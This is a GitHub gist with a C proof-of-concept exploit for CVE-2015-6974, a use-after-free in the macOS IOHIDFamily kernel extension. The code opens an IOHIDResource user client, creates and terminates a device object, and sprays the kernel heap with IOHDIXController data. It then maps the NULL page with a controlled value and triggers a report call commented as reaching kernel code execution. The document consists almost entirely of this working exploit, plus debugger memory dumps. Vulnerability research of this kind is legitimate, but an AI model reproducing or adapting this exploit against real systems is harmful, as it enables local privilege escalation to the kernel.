Skip to content

Instantly share code, notes, and snippets.

@antoniofrighetto
Created March 1, 2020 21:42
Show Gist options
  • Save antoniofrighetto/18bf8375d2ae5ce64842db593d494c7d to your computer and use it in GitHub Desktop.
Save antoniofrighetto/18bf8375d2ae5ce64842db593d494c7d to your computer and use it in GitHub Desktop.
CVE-2015-6974 IOHIDFamily UAF PoC
// 2k20 antoniofrighetto & benjamin
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
#define kIOHIDResourceDeviceUserClientMethodCreate 0x0
#define kIOHIDResourceDeviceUserClientMethodTerminate 0x1
#define kIOHIDResourceDeviceUserClientMethodHandleReport 0x2
int main(int argc, const char** argv) {
io_service_t servicer = 0;
kern_return_t kr;
io_iterator_t iterator;
kr = IOServiceGetMatchingServices(kIOMasterPortDefault, IOServiceMatching("IOHIDResource"), &iterator);
if (kr != KERN_SUCCESS) {
return -1;
}
servicer = IOIteratorNext(iterator);
io_connect_t conn = 0;
kr = IOServiceOpen(servicer, mach_task_self(), 1, &conn);
IOObjectRelease(servicer);
if (kr != KERN_SUCCESS) {
return -2;
}
printf("got userclient connection: %x\n", conn);
uint64_t input_scalar[1] = {0};
uint64_t output = 0;
uint32_t output_cnt = 0;
char *dict = calloc(1, 1024);
char *input_struct = dict;
#define WRITE_IN(where, what) do { strcpy(where, what); where+=strlen(what); } while(0)
WRITE_IN(dict, "<dict>");
WRITE_IN(dict, "<key>RequestTimeout</key><integer>0</integer>");
WRITE_IN(dict, "<key>ReportDescriptor</key><data>BQEJBqEBhQEFBxngKecVACUBdQGVCIEClQF1CIEBlQV1AQUIGQEpBZEClQF1A5EBlQZ1CBUAJv8ABQcZACn/gQAFDHUBlQEJuBUAJQGBAgX/CQN1B5UBgQLABQwJAaEBhVIVACUBdQGVAQnNgQIJs4ECCbSBAgm1gQIJtoECgQGBAYEBhQkVACUBdQiVAQYB/wkLsQJ1CJUCsQHA</data>");
WRITE_IN(dict, "<key>ReportInterval</key><integer>0</integer>");
WRITE_IN(dict, "</dict>");
kr = IOConnectCallMethod(
conn,
kIOHIDResourceDeviceUserClientMethodCreate,
input_scalar,
1,
input_struct,
1024,
&output,
&output_cnt,
NULL,
NULL);
if (kr != KERN_SUCCESS) {
fprintf(stderr, "_device obj was not initialized\n");
return -3;
}
/* (lldb) x/40gx _device
* 0xffffff8027fa0100: 0xffffff7f97298870 0x000000000004000b
* 0xffffff8027fa0110: 0xffffff8024e55fc0 0xffffff802370a3c0
* 0xffffff8027fa0120: 0xffffff802370a080 0xffffff8023baad00
* 0xffffff8027fa0130: 0xffffff8023c08c00 0x0000000000000dd8
* 0xffffff8027fa0140: 0x0000000000000000 0x000000010000001e
* 0xffffff8027fa0150: 0x0000002b97564cd6 0x0000000000000000
* 0xffffff8027fa0160: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0170: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0180: 0x0000000000000000 0xffffff802370aa00
* 0xffffff8027fa0190: 0x0000000000000003 0x0000000000000000
* 0xffffff8027fa01a0: 0xffffff8028171000 0xffffff8028171d00
* 0xffffff8027fa01b0: 0x0000000400000001 0x000000020000000a
* 0xffffff8027fa01c0: 0x0000000000000004 0xffffff8023a33680
* 0xffffff8027fa01d0: 0xffffff802370a080 0xffffff8023c08c00
*/
pthread_yield_np();
IOConnectCallScalarMethod(conn, kIOHIDResourceDeviceUserClientMethodTerminate, NULL, 0, NULL, NULL);
kern_return_t res = 0;
io_service_t servicex = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOHDIXController"));
char buffer[] = "<dict><key>1</key><data>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACg==</data></dict>";
for (int i = 0; i < 16; i++) {
io_connect_t connx = 0;
kr = io_service_open_extended(servicex, mach_task_self(), 0, NDR_record, buffer, sizeof(buffer), &res, &connx);
assert(kr == KERN_SUCCESS);
}
printf("successfully sprayed data on the heap...\n");
/* (lldb) x/40gx _device
* 0xffffff8027fa0100: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0110: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0120: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0130: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0140: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0150: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0160: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0170: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0180: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa0190: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa01a0: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa01b0: 0x0000000000000000 0x0000000000000000
* 0xffffff8027fa01c0: 0x000000000000000a 0xffffff8023a33680
* 0xffffff8027fa01d0: 0xffffff802370a080 0xffffff8023c08c00
*/
vm_address_t null_page = 0;
vm_deallocate(mach_task_self(), null_page, 0x1000);
vm_allocate(mach_task_self(), &null_page, 0x1000, 0);
*(volatile uint64_t*)(0x938) = 0x4141414141414141;
usleep(500);
uint64_t input[1] = {1};
/* kernel code exec here */
IOConnectCallMethod(
conn,
kIOHIDResourceDeviceUserClientMethodHandleReport,
input,
1,
input_struct,
1024,
NULL,
NULL,
NULL,
NULL);
/* last ref of _device is dropped by IOService::terminateWorker() */
usleep(1000);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment